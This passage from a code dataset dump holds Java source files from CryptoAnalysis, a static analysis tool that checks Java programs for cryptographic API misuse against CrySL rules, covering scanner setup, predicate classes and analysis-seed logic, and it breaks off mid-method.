PROJECT\n\t\telse if(getJavaVersion() >= 9 && !isModularProject())\n\t\t{\n\t\t\tOptions.v().set_soot_classpath(\"VIRTUAL_FS_FOR_JDK\" + File.pathSeparator + sootClassPath());\n\t\t}\n\t\t// JAVA VERSION 9 && IS A MODULEPATH PROJECT\n\t\telse if(getJavaVersion() >= 9 && isModularProject())\n\t\t{\n\t\t\tOptions.v().set_prepend_classpath(true);\n\t\t\tOptions.v().set_soot_modulepath(sootClassPath());\n\t\t}\n\t\tOptions.v().set_process_dir(Arrays.asList(applicationClassPath().split(File.pathSeparator)));\n\t\tOptions.v().set_include(getIncludeList());\n\t\tOptions.v().set_exclude(getExcludeList());\n\t\tOptions.v().set_full_resolver(true);\n\t\tScene.v().loadNecessaryClasses();\n\t\tScene.v().setEntryPoints(getEntryPoints());\n\t}\n\n\tprivate List getEntryPoints() {\n\t\tList entryPoints = Lists.newArrayList();\n\t\tentryPoints.addAll(EntryPoints.v().application());\n\t\tentryPoints.addAll(EntryPoints.v().methodsOfApplicationClasses());\n\t\treturn entryPoints;\n\t}\n\t\n\tprivate List getIncludeList() {\n\t\tList includeList = new LinkedList();\n\t\tincludeList.add(\"java.lang.AbstractStringBuilder\");\n\t\tincludeList.add(\"java.lang.Boolean\");\n\t\tincludeList.add(\"java.lang.Byte\");\n\t\tincludeList.add(\"java.lang.Class\");\n\t\tincludeList.add(\"java.lang.Integer\");\n\t\tincludeList.add(\"java.lang.Long\");\n\t\tincludeList.add(\"java.lang.Object\");\n\t\tincludeList.add(\"java.lang.String\");\n\t\tincludeList.add(\"java.lang.StringCoding\");\n\t\tincludeList.add(\"java.lang.StringIndexOutOfBoundsException\");\n\t\treturn includeList;\n\t}\n\n\tprivate List getExcludeList() {\n\t\tList exList = new LinkedList();\n\t\tList rules = getRules();\n\t\tfor(CrySLRule r : rules) {\n\t\t\texList.add(r.getClassName());\n\t\t}\n\t\treturn exList;\n\t}\n\t\n\tprotected abstract List getRules();\n\t\n\t// used to set the rules when they are loaded from headless\n\t// tests and not from CLI\n\tpublic static void setRules(List rules) {\n\t\tHeadlessCryptoScanner.rules = rules;\n\t}\n\n\tprotected abstract String applicationClassPath();\n\n\tprotected ControlGraph callGraphAlgorithm() {\n\t\treturn settings.getControlGraph();\n\t}\n\n\tprotected String sootClassPath() {\n\t\treturn settings.getSootPath();\n\t}\n\t\n\tprotected String softwareIdentifier(){\n\t\treturn settings.getSoftwareIdentifier();\n\t}\n\t\n\tprotected String getOutputFolder(){\n\t\treturn settings.getReportDirectory();\n\t}\n\t\n\tprotected boolean isPreAnalysis() {\n\t\treturn settings.isPreAnalysis();\n\t}\n\n\tprotected boolean enableVisualization(){\n\t\treturn settings.isVisualization();\n\t}\n\t \n\tprotected ReportFormat reportFormat() {\n\t\treturn settings.getReportFormat();\n\t}\n\t\n\tprotected boolean providerDetection() {\n\t\treturn settings.isProviderDetectionAnalysis();\n\t}\n\t\n\tprivate static String pathToJCE() {\n\t\t// When whole program mode is disabled, the classpath misses jce.jar\n\t\treturn System.getProperty(\"java.home\") + File.separator + \"lib\" + File.separator + \"jce.jar\";\n\t}\n\t\n\tprivate static int getJavaVersion() {\n\t String version = System.getProperty(\"java.version\");\n\t if(version.startsWith(\"1.\")) {\n\t version = version.substring(2, 3);\n\t } else {\n\t int dot = version.indexOf(\".\");\n\t if(dot != -1) { version = version.substring(0, dot); }\n\t } return Integer.parseInt(version);\n\t}\n\t\n\tprivate boolean isModularProject() {\n\t\tString applicationClassPath = applicationClassPath();\n\t\tFile dirName = new File(applicationClassPath);\n\t String moduleFile = dirName + File.separator + \"module-info.class\";\n\t boolean check = new File(moduleFile).exists();\n\t return check;\n\t}\n\n}\n"},"file_length":{"kind":"number","value":13501,"string":"13,501"},"avg_line_length":{"kind":"number","value":32.58706467661692,"string":"32.587065"},"max_line_length":{"kind":"number","value":132,"string":"132"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":275,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/AlternativeReqPredicate.java"},"code":{"kind":"string","value":"package crypto.analysis;\n\nimport java.util.ArrayList;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.stream.Collectors;\nimport boomerang.jimple.Statement;\nimport crypto.interfaces.ISLConstraint;\nimport crypto.rules.CrySLPredicate;\n\npublic class AlternativeReqPredicate implements ISLConstraint {\n\n\tprivate static final long serialVersionUID = 9111353268603202392L;\n\tprivate final List alternatives;\n\tprivate Statement stmt;\n\n\tpublic AlternativeReqPredicate(CrySLPredicate alternativeOne, Statement stmt) {\n\t\tthis.alternatives = new ArrayList();\n\t\tthis.alternatives.add(alternativeOne);\n\t\tthis.stmt = stmt;\t\n\t}\n\t\n\tpublic AlternativeReqPredicate(CrySLPredicate alternativeOne, CrySLPredicate alternativeTwo, Statement stmt) {\n\t\tthis.alternatives = new ArrayList();\n\t\tthis.alternatives.add(alternativeOne);\n\t\tthis.alternatives.add(alternativeTwo);\n\t\tthis.stmt = stmt;\n\t}\n\n\t@Override\n\tpublic int hashCode() {\n\t\tfinal int prime = 31;\n\t\tint result = 1;\n\t\tresult = prime * result + ((alternatives == null) ? 0 : alternatives.hashCode());\n\t\tresult = prime * result + ((stmt == null) ? 0 : stmt.hashCode());\n\t\treturn result;\n\t}\n\n\t@Override\n\tpublic boolean equals(Object obj) {\n\t\tif (this == obj)\n\t\t\treturn true;\n\t\tif (obj == null)\n\t\t\treturn false;\n\t\tif (getClass() != obj.getClass())\n\t\t\treturn false;\n\t\tAlternativeReqPredicate other = (AlternativeReqPredicate) obj;\n\t\tif (alternatives == null) {\n\t\t\tif (other.alternatives != null)\n\t\t\t\treturn false;\n\t\t} else if (!alternatives.equals(other.alternatives))\n\t\t\treturn false;\n\t\tif (stmt == null) {\n\t\t\tif (other.stmt != null)\n\t\t\t\treturn false;\n\t\t} else if (!stmt.equals(other.stmt))\n\t\t\treturn false;\n\t\treturn true;\n\t}\n\n\tpublic Statement getLocation() {\n\t\treturn stmt;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn \"misses \" + alternatives.stream().map(e -> e.toString()).collect(Collectors.joining(\" OR \")) + ((stmt != null) ? \" @ \" + stmt.toString() : \"\");\n\t}\n\n\t@Override\n\tpublic String getName() {\n\t\treturn alternatives.stream().map(e -> e.getName()).collect(Collectors.joining(\" OR \"));\n\t}\n\n\t@Override\n\tpublic Set getInvolvedVarNames() {\n\t\tSet involvedVarNames = new HashSet<>();\n\t\tfor (CrySLPredicate alt : alternatives) {\n\t\t\tinvolvedVarNames.addAll(alt.getInvolvedVarNames());\n\t\t}\n\t\treturn involvedVarNames;\n\t}\n\n\t@Override\n\tpublic void setLocation(Statement location) {\n\t\tthrow new UnsupportedOperationException();\n\t}\n\n\tpublic List getAlternatives() {\n\t\treturn alternatives;\n\t}\n\t\n\tpublic boolean addAlternative(CrySLPredicate newAlt) {\n\t\treturn alternatives.add(newAlt);\n\t}\n\n}\n"},"file_length":{"kind":"number","value":2645,"string":"2,645"},"avg_line_length":{"kind":"number","value":25.727272727272727,"string":"25.727273"},"max_line_length":{"kind":"number","value":152,"string":"152"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":276,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/AnalysisSeedWithEnsuredPredicate.java"},"code":{"kind":"string","value":"package crypto.analysis;\n\nimport java.util.Set;\n\nimport com.google.common.collect.Lists;\nimport com.google.common.collect.Sets;\nimport com.google.common.collect.Table.Cell;\n\nimport boomerang.callgraph.ObservableICFG;\nimport boomerang.debugger.Debugger;\nimport boomerang.jimple.Statement;\nimport boomerang.jimple.Val;\nimport boomerang.results.ForwardBoomerangResults;\nimport crypto.rules.StateMachineGraph;\nimport crypto.rules.StateNode;\nimport crypto.rules.TransitionEdge;\nimport crypto.typestate.ExtendedIDEALAnaylsis;\nimport crypto.typestate.SootBasedStateMachineGraph;\nimport ideal.IDEALSeedSolver;\nimport soot.SootMethod;\nimport soot.Unit;\nimport sync.pds.solver.nodes.Node;\nimport typestate.TransitionFunction;\n\npublic class AnalysisSeedWithEnsuredPredicate extends IAnalysisSeed{\n\n\tprivate ForwardBoomerangResults analysisResults;\n\tprivate Set ensuredPredicates = Sets.newHashSet();\n\tprivate ExtendedIDEALAnaylsis problem;\n\tprivate boolean analyzed;\n\n\tpublic AnalysisSeedWithEnsuredPredicate(CryptoScanner cryptoScanner, Node delegate) {\n\t\tsuper(cryptoScanner,delegate.stmt(),delegate.fact(), TransitionFunction.one());\n\t}\n\n\t@Override\n\tpublic void execute() {\n\t\tcryptoScanner.getAnalysisListener().seedStarted(this);\n\t\tExtendedIDEALAnaylsis solver = getOrCreateAnalysis();\n\t\tsolver.run(this);\n\t\tanalysisResults = solver.getResults();\n\t\tfor(EnsuredCrySLPredicate pred : ensuredPredicates)\n\t\t\tensurePredicates(pred);\n\t\tcryptoScanner.getAnalysisListener().onSeedFinished(this, analysisResults);\n\t\tanalyzed = true;\n\t}\n\n\tprotected void ensurePredicates(EnsuredCrySLPredicate pred) {\n\t\tif(analysisResults == null)\n\t\t\treturn;\n\n\t\tfor(Cell c : analysisResults.asStatementValWeightTable().cellSet()){\n\t\t\tpredicateHandler.addNewPred(this,c.getRowKey(), c.getColumnKey(), pred);\n\t\t}\n\t}\n\n\n\tprivate ExtendedIDEALAnaylsis getOrCreateAnalysis() {\n\t\tproblem = new ExtendedIDEALAnaylsis() {\n\t\t\t\n\t\t\t@Override\n\t\t\tprotected ObservableICFG icfg() {\n\t\t\t\treturn cryptoScanner.icfg();\n\t\t\t}\n\t\t\t\n\t\t\t@Override\n\t\t\tpublic SootBasedStateMachineGraph getStateMachine() {\n\t\t\t\tStateMachineGraph m = new StateMachineGraph();\n\t\t\t\tStateNode s = new StateNode(\"0\", true, true){\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic String toString() {\n\t\t\t\t\t\treturn \"\";\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t\tm.addNode(s);\n\t\t\t\tm.createNewEdge(Lists.newLinkedList(), s,s);\n\t\t\t\treturn new SootBasedStateMachineGraph(m);\n\t\t\t}\n\t\t\t\n\t\t\t@Override\n\t\t\tpublic CrySLResultsReporter analysisListener() {\n\t\t\t\treturn cryptoScanner.getAnalysisListener();\n\t\t\t}\n\t\t\t\n\n\t\t\t@Override\n\t\t\tprotected Debugger debugger(IDEALSeedSolver solver) {\n\t\t\t\treturn cryptoScanner.debugger(solver,AnalysisSeedWithEnsuredPredicate.this);\n\t\t\t}\n\t\t};\n\t\treturn problem;\n\t}\n\n\tpublic void addEnsuredPredicate(EnsuredCrySLPredicate pred) {\n\t\tif(ensuredPredicates.add(pred) && analyzed)\n\t\t\tensurePredicates(pred);\n\t}\n\n\n\t@Override\n\tpublic String toString() {\n\t\treturn \"AnalysisSeedWithEnsuredPredicate:\"+this.asNode() +\" \" + ensuredPredicates; \n\t}\n\n\t@Override\n\tpublic Set> getDataFlowPath() {\n\t\treturn analysisResults.getDataFlowPath();\n\t}\n}\n"},"file_length":{"kind":"number","value":3188,"string":"3,188"},"avg_line_length":{"kind":"number","value":27.990909090909092,"string":"27.990909"},"max_line_length":{"kind":"number","value":106,"string":"106"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":277,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/AnalysisSeedWithSpecification.java"},"code":{"kind":"string","value":"package crypto.analysis;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Map.Entry;\nimport java.util.Set;\nimport java.util.stream.Collectors;\nimport com.google.common.collect.HashMultimap;\nimport com.google.common.collect.Lists;\nimport com.google.common.collect.Maps;\nimport com.google.common.collect.Multimap;\nimport com.google.common.collect.Sets;\nimport com.google.common.collect.Table;\nimport com.google.common.collect.Table.Cell;\nimport boomerang.callgraph.ObservableICFG;\nimport boomerang.debugger.Debugger;\nimport boomerang.jimple.AllocVal;\nimport boomerang.jimple.Statement;\nimport boomerang.jimple.Val;\nimport boomerang.results.ForwardBoomerangResults;\nimport crypto.analysis.errors.IncompleteOperationError;\nimport crypto.analysis.errors.TypestateError;\nimport crypto.constraints.ConstraintSolver;\nimport crypto.constraints.ConstraintSolver.EvaluableConstraint;\nimport crypto.extractparameter.CallSiteWithParamIndex;\nimport crypto.extractparameter.ExtractParameterAnalysis;\nimport crypto.extractparameter.ExtractedValue;\nimport crypto.interfaces.ICrySLPredicateParameter;\nimport crypto.interfaces.ISLConstraint;\nimport crypto.rules.CrySLCondPredicate;\nimport crypto.rules.CrySLConstraint;\nimport crypto.rules.CrySLMethod;\nimport crypto.rules.CrySLObject;\nimport crypto.rules.CrySLPredicate;\nimport crypto.rules.StateNode;\nimport crypto.rules.TransitionEdge;\nimport crypto.typestate.CrySLMethodToSootMethod;\nimport crypto.typestate.ExtendedIDEALAnaylsis;\nimport crypto.typestate.ReportingErrorStateNode;\nimport crypto.typestate.SootBasedStateMachineGraph;\nimport crypto.typestate.WrappedState;\nimport ideal.IDEALSeedSolver;\nimport soot.IntType;\nimport soot.Local;\nimport soot.RefType;\nimport soot.SootMethod;\nimport soot.Type;\nimport soot.Unit;\nimport soot.Value;\nimport soot.ValueBox;\nimport soot.jimple.AssignStmt;\nimport soot.jimple.Constant;\nimport soot.jimple.IntConstant;\nimport soot.jimple.InvokeExpr;\nimport soot.jimple.Stmt;\nimport soot.jimple.StringConstant;\nimport soot.jimple.ThrowStmt;\nimport sync.pds.solver.nodes.Node;\nimport typestate.TransitionFunction;\nimport typestate.finiteautomata.ITransition;\nimport typestate.finiteautomata.State;\n\npublic class AnalysisSeedWithSpecification extends IAnalysisSeed {\n\n\tprivate final ClassSpecification spec;\n\tprivate ExtendedIDEALAnaylsis analysis;\n\tprivate ForwardBoomerangResults results;\n\tprivate Collection ensuredPredicates = Sets.newHashSet();\n\tprivate Multimap typeStateChange = HashMultimap.create();\n\tprivate Collection indirectlyEnsuredPredicates = Sets.newHashSet();\n\tprivate Set missingPredicates = Sets.newHashSet();\n\tprivate ConstraintSolver constraintSolver;\n\tprivate boolean internalConstraintSatisfied;\n\tprotected Map allCallsOnObject = Maps.newLinkedHashMap();\n\tprivate ExtractParameterAnalysis parameterAnalysis;\n\tprivate Set resultHandlers = Sets.newHashSet();\n\tprivate boolean secure = true;\n\n\tpublic AnalysisSeedWithSpecification(CryptoScanner cryptoScanner, Statement stmt, Val val, ClassSpecification spec) {\n\t\tsuper(cryptoScanner, stmt, val, spec.getFSM().getInitialWeight(stmt));\n\t\tthis.spec = spec;\n\t\tthis.analysis = new ExtendedIDEALAnaylsis() {\n\n\t\t\t@Override\n\t\t\tpublic SootBasedStateMachineGraph getStateMachine() {\n\t\t\t\treturn spec.getFSM();\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tprotected ObservableICFG icfg() {\n\t\t\t\treturn cryptoScanner.icfg();\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tprotected Debugger debugger(IDEALSeedSolver solver) {\n\t\t\t\treturn cryptoScanner.debugger(solver, AnalysisSeedWithSpecification.this);\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic CrySLResultsReporter analysisListener() {\n\t\t\t\treturn cryptoScanner.getAnalysisListener();\n\t\t\t}\n\t\t};\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn \"AnalysisSeed [\" + super.toString() + \" with spec \" + spec.getRule().getClassName() + \"]\";\n\t}\n\n\tpublic void execute() {\n\t\tcryptoScanner.getAnalysisListener().seedStarted(this);\n\t\trunTypestateAnalysis();\n\t\tif (results == null)\n\t\t\t// Timeout occured.\n\t\t\treturn;\n\t\tallCallsOnObject = results.getInvokedMethodOnInstance();\n\t\trunExtractParameterAnalysis();\n\t\tcheckInternalConstraints();\n\n\t\tMultimap unitToStates = HashMultimap.create();\n\t\tfor (Cell c : results.asStatementValWeightTable().cellSet()) {\n\t\t\tunitToStates.putAll(c.getRowKey(), getTargetStates(c.getValue()));\n\t\t\tfor (EnsuredCrySLPredicate pred : indirectlyEnsuredPredicates) {\n\t\t\t\t// TODO only maintain indirectly ensured predicate as long as they are not\n\t\t\t\t// killed by the rule\n\t\t\t\tpredicateHandler.addNewPred(this, c.getRowKey(), c.getColumnKey(), pred);\n\t\t\t}\n\t\t}\n\n\t\tcomputeTypestateErrorUnits();\n\t\tcomputeTypestateErrorsForEndOfObjectLifeTime();\n\n\t\tcryptoScanner.getAnalysisListener().onSeedFinished(this, results);\n\t\tcryptoScanner.getAnalysisListener().collectedValues(this, parameterAnalysis.getCollectedValues());\n\t}\n\n\tprivate void checkInternalConstraints() {\n\t\tcryptoScanner.getAnalysisListener().beforeConstraintCheck(this);\n\t\tconstraintSolver = new ConstraintSolver(this, allCallsOnObject.keySet(), cryptoScanner.getAnalysisListener());\n\t\tcryptoScanner.getAnalysisListener().checkedConstraints(this, constraintSolver.getRelConstraints());\n\t\tinternalConstraintSatisfied = (0 == constraintSolver.evaluateRelConstraints());\n\t\tcryptoScanner.getAnalysisListener().afterConstraintCheck(this);\n\t}\n\n\tprivate void runTypestateAnalysis() {\n\t\tanalysis.run(this);\n\t\tresults = analysis.getResults();\n\t\tif (results != null) {\n\t\t\tfor (ResultsHandler handler : Lists.newArrayList(resultHandlers)) {\n\t\t\t\thandler.done(results);\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void registerResultsHandler(ResultsHandler handler) {\n\t\tif (results != null) {\n\t\t\thandler.done(results);\n\t\t} else {\n\t\t\tresultHandlers.add(handler);\n\t\t}\n\t}\n\n\tprivate void runExtractParameterAnalysis() {\n\t\tthis.parameterAnalysis = new ExtractParameterAnalysis(this.cryptoScanner, allCallsOnObject, spec.getFSM());\n\t\tthis.parameterAnalysis.run();\n\t}\n\n\tprivate void computeTypestateErrorUnits() {\n\t\tSet allTypestateChangeStatements = Sets.newHashSet();\n\t\tfor (Cell c : results.asStatementValWeightTable().cellSet()) {\n\t\t\tallTypestateChangeStatements.addAll(c.getValue().getLastStateChangeStatements());\n\t\t}\n\t\tfor (Cell c : results.asStatementValWeightTable().cellSet()) {\n\t\t\tStatement curr = c.getRowKey();\n\t\t\tif (allTypestateChangeStatements.contains(curr)) {\n\t\t\t\tCollection targetStates = getTargetStates(c.getValue());\n\t\t\t\tfor (State newStateAtCurr : targetStates) {\n\t\t\t\t\ttypeStateChangeAtStatement(curr, newStateAtCurr);\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t}\n\n\tprivate void computeTypestateErrorsForEndOfObjectLifeTime() {\n\t\tTable endPathOfPropagation = results.getObjectDestructingStatements();\n\n\t\tfor (Cell c : endPathOfPropagation.cellSet()) {\n\t\t\tSet expectedMethodsToBeCalled = Sets.newHashSet();\n\t\t\tfor (ITransition n : c.getValue().values()) {\n\t\t\t\tif (n.to() == null)\n\t\t\t\t\tcontinue;\n\t\t\t\tif (!n.to().isAccepting()) {\n\t\t\t\t\tif (n.to() instanceof WrappedState) {\n\t\t\t\t\t\tWrappedState wrappedState = (WrappedState) n.to();\n\t\t\t\t\t\tfor (TransitionEdge t : spec.getRule().getUsagePattern().getAllTransitions()) {\n\t\t\t\t\t\t\tif (t.getLeft().equals(wrappedState.delegate()) && !t.from().equals(t.to())) {\n\t\t\t\t\t\t\t\tCollection converted = CrySLMethodToSootMethod.v().convert(t.getLabel());\n\t\t\t\t\t\t\t\texpectedMethodsToBeCalled.addAll(converted);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!expectedMethodsToBeCalled.isEmpty()) {\n\t\t\t\tStatement s = c.getRowKey();\n\t\t\t\tVal val = c.getColumnKey();\n\t\t\t\tif (!(s.getUnit().get() instanceof ThrowStmt)) {\n\t\t\t\t\tcryptoScanner.getAnalysisListener().reportError(this, new IncompleteOperationError(s, val, getSpec().getRule(), this, expectedMethodsToBeCalled));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tprivate void typeStateChangeAtStatement(Statement curr, State stateNode) {\n\t\tif (typeStateChange.put(curr, stateNode)) {\n\t\t\tif (stateNode instanceof ReportingErrorStateNode) {\n\t\t\t\tReportingErrorStateNode errorStateNode = (ReportingErrorStateNode) stateNode;\n\t\t\t\tcryptoScanner.getAnalysisListener().reportError(this, new TypestateError(curr, getSpec().getRule(), this, errorStateNode.getExpectedCalls()));\n\t\t\t}\n\t\t}\n\t\tonAddedTypestateChange(curr, stateNode);\n\t}\n\n\tprivate void onAddedTypestateChange(Statement curr, State stateNode) {\n\t\tfor (CrySLPredicate predToBeEnsured : spec.getRule().getPredicates()) {\n\t\t\tif (predToBeEnsured.isNegated()) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (isPredicateGeneratingState(predToBeEnsured, stateNode)) {\n\t\t\t\tensuresPred(predToBeEnsured, curr, stateNode);\n\t\t\t}\n\t\t}\n\t}\n\n\tprivate void ensuresPred(CrySLPredicate predToBeEnsured, Statement currStmt, State stateNode) {\n\t\tif (predToBeEnsured.isNegated()) {\n\t\t\treturn;\n\t\t}\n\t\tboolean satisfiesConstraintSytem = checkConstraintSystem();\n\t\tif(predToBeEnsured.getConstraint() != null) {\n\t\t\tArrayList temp = new ArrayList<>();\n\t\t\ttemp.add(predToBeEnsured.getConstraint());\n\t\t\tsatisfiesConstraintSytem = !evaluatePredCond(predToBeEnsured);\n\t\t}\n\t\t\n\t\tfor (ICrySLPredicateParameter predicateParam : predToBeEnsured.getParameters()) {\n\t\t\tif (predicateParam.getName().equals(\"this\")) {\n\t\t\t\texpectPredicateWhenThisObjectIsInState(stateNode, currStmt, predToBeEnsured, satisfiesConstraintSytem);\n\t\t\t}\n\t\t}\n\t\tif (currStmt.isCallsite()) {\n\t\t\tInvokeExpr ie = ((Stmt) currStmt.getUnit().get()).getInvokeExpr();\n\t\t\tSootMethod invokedMethod = ie.getMethod();\n\t\t\tCollection convert = CrySLMethodToSootMethod.v().convert(invokedMethod);\n\n\t\t\tfor (CrySLMethod crySLMethod : convert) {\n\t\t\t\tEntry retObject = crySLMethod.getRetObject();\n\t\t\t\tif (!retObject.getKey().equals(\"_\") && currStmt.getUnit().get() instanceof AssignStmt && predicateParameterEquals(predToBeEnsured.getParameters(), retObject.getKey())) {\n\t\t\t\t\tAssignStmt as = (AssignStmt) currStmt.getUnit().get();\n\t\t\t\t\tValue leftOp = as.getLeftOp();\n\t\t\t\t\tAllocVal val = new AllocVal(leftOp, currStmt.getMethod(), as.getRightOp(), new Statement(as, currStmt.getMethod()));\n\t\t\t\t\texpectPredicateOnOtherObject(predToBeEnsured, currStmt, val, satisfiesConstraintSytem);\n\t\t\t\t}\n\t\t\t\tint i = 0;\n\t\t\t\tfor (Entry p : crySLMethod.getParameters()) {\n\t\t\t\t\tif (predicateParameterEquals(predToBeEnsured.getParameters(), p.getKey())) {\n\t\t\t\t\t\tValue param = ie.getArg(i);\n\t\t\t\t\t\tif (param instanceof Local) {\n\t\t\t\t\t\t\tVal val = new Val(param, currStmt.getMethod());\n\t\t\t\t\t\t\texpectPredicateOnOtherObject(predToBeEnsured, currStmt, val, satisfiesConstraintSytem);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\ti++;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\t}\n\n\tprivate boolean predicateParameterEquals(List parameters, String key) {\n\t\tfor (ICrySLPredicateParameter predicateParam : parameters) {\n\t\t\tif (key.equals(predicateParam.getName())) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\n\tprivate void expectPredicateOnOtherObject(CrySLPredicate predToBeEnsured, Statement currStmt, Val accessGraph, boolean satisfiesConstraintSytem) {\n\t\t// TODO refactor this method.\n\t\tboolean matched = false;\n\t\tfor (ClassSpecification spec : cryptoScanner.getClassSpecifictions()) {\n\t\t\tif (accessGraph.value() == null) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tType baseType = accessGraph.value().getType();\n\t\t\tif (baseType instanceof RefType) {\n\t\t\t\tRefType refType = (RefType) baseType;\n\t\t\t\tif (spec.getRule().getClassName().equals(refType.getSootClass().getName()) || spec.getRule().getClassName().equals(refType.getSootClass().getShortName())) {\n\t\t\t\t\tif (satisfiesConstraintSytem) {\n\t\t\t\t\t\tAnalysisSeedWithSpecification seed = cryptoScanner.getOrCreateSeedWithSpec(new AnalysisSeedWithSpecification(cryptoScanner, currStmt, accessGraph, spec));\n\t\t\t\t\t\tmatched = true;\n\t\t\t\t\t\tseed.addEnsuredPredicateFromOtherRule(new EnsuredCrySLPredicate(predToBeEnsured, parameterAnalysis.getCollectedValues()));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (matched)\n\t\t\treturn;\n\t\tAnalysisSeedWithEnsuredPredicate seed = cryptoScanner.getOrCreateSeed(new Node(currStmt, accessGraph));\n\t\tpredicateHandler.expectPredicate(seed, currStmt, predToBeEnsured);\n\t\tif (satisfiesConstraintSytem) {\n\t\t\tseed.addEnsuredPredicate(new EnsuredCrySLPredicate(predToBeEnsured, parameterAnalysis.getCollectedValues()));\n\t\t} else {\n\t\t\tmissingPredicates.add(new RequiredCrySLPredicate(predToBeEnsured, currStmt));\n\t\t}\n\t}\n\n\tprivate void addEnsuredPredicateFromOtherRule(EnsuredCrySLPredicate ensuredCrySLPredicate) {\n\t\tindirectlyEnsuredPredicates.add(ensuredCrySLPredicate);\n\t\tif (results == null)\n\t\t\treturn;\n\t\tfor (Cell c : results.asStatementValWeightTable().cellSet()) {\n\t\t\tfor (EnsuredCrySLPredicate pred : indirectlyEnsuredPredicates) {\n\t\t\t\tpredicateHandler.addNewPred(this, c.getRowKey(), c.getColumnKey(), pred);\n\t\t\t}\n\t\t}\n\t}\n\n\tprivate void expectPredicateWhenThisObjectIsInState(State stateNode, Statement currStmt, CrySLPredicate predToBeEnsured, boolean satisfiesConstraintSytem) {\n\t\tpredicateHandler.expectPredicate(this, currStmt, predToBeEnsured);\n\n\t\tif (!satisfiesConstraintSytem)\n\t\t\treturn;\n\t\tfor (Cell e : results.asStatementValWeightTable().cellSet()) {\n\t\t\t// TODO check for any reachable state that don't kill\n\t\t\t// predicates.\n\t\t\tif (containsTargetState(e.getValue(), stateNode)) {\n\t\t\t\tpredicateHandler.addNewPred(this, e.getRowKey(), e.getColumnKey(), new EnsuredCrySLPredicate(predToBeEnsured, parameterAnalysis.getCollectedValues()));\n\t\t\t}\n\t\t}\n\t}\n\n\tprivate boolean containsTargetState(TransitionFunction value, State stateNode) {\n\t\treturn getTargetStates(value).contains(stateNode);\n\t}\n\n\tprivate Collection getTargetStates(TransitionFunction value) {\n\t\tSet res = Sets.newHashSet();\n\t\tfor (ITransition t : value.values()) {\n\t\t\tif (t.to() != null)\n\t\t\t\tres.add(t.to());\n\t\t}\n\t\treturn res;\n\t}\n\n\tprivate boolean checkConstraintSystem() {\n\t\tcryptoScanner.getAnalysisListener().beforePredicateCheck(this);\n\t\tSet relConstraints = constraintSolver.getRelConstraints();\n\t\tboolean checkPredicates = checkPredicates(relConstraints);\n\t\tcryptoScanner.getAnalysisListener().afterPredicateCheck(this);\n\t\tif (!checkPredicates)\n\t\t\treturn false;\n\t\treturn internalConstraintSatisfied;\n\t}\n\n\tprivate boolean checkPredicates(Collection relConstraints) {\n\t\tList requiredPredicates = Lists.newArrayList();\n\t\tfor (ISLConstraint con : constraintSolver.getRequiredPredicates()) {\n\t\t\tif (!ConstraintSolver.predefinedPreds.contains((con instanceof RequiredCrySLPredicate) ? ((RequiredCrySLPredicate) con).getPred().getPredName()\n\t\t\t\t\t: ((AlternativeReqPredicate) con).getAlternatives().get(0).getPredName())) {\n\t\t\t\trequiredPredicates.add(con);\n\t\t\t}\n\t\t}\n\t\tSet remainingPredicates = Sets.newHashSet(requiredPredicates);\n\t\tmissingPredicates.removeAll(remainingPredicates);\n\n\t\tfor (ISLConstraint pred : requiredPredicates) {\n\t\t\tif (pred instanceof RequiredCrySLPredicate) {\n\t\t\t\tRequiredCrySLPredicate reqPred = (RequiredCrySLPredicate) pred;\n\t\t\t\tif (reqPred.getPred().isNegated()) {\n\t\t\t\t\tfor (EnsuredCrySLPredicate ensPred : ensuredPredicates) {\n\t\t\t\t\t\tif (ensPred.getPredicate().equals(reqPred.getPred())) {\n\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tremainingPredicates.remove(pred);\n\t\t\t\t} else {\n\t\t\t\t\tfor (EnsuredCrySLPredicate ensPred : ensuredPredicates) {\n\t\t\t\t\t\tif (ensPred.getPredicate().equals(reqPred.getPred()) && doPredsMatch(reqPred.getPred(), ensPred)) {\n\t\t\t\t\t\t\tremainingPredicates.remove(pred);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tAlternativeReqPredicate alt = (AlternativeReqPredicate) pred;\n\t\t\t\tList alternatives = alt.getAlternatives();\n\t\t\t\tboolean satisfied = false;\n\t\t\t\tList negatives = alternatives.parallelStream().filter(e -> e.isNegated()).collect(Collectors.toList());\n\t\t\t\t\n\t\t\t\tif (negatives.size() == alternatives.size()) {\n\t\t\t\t\tfor (EnsuredCrySLPredicate ensPred : ensuredPredicates) 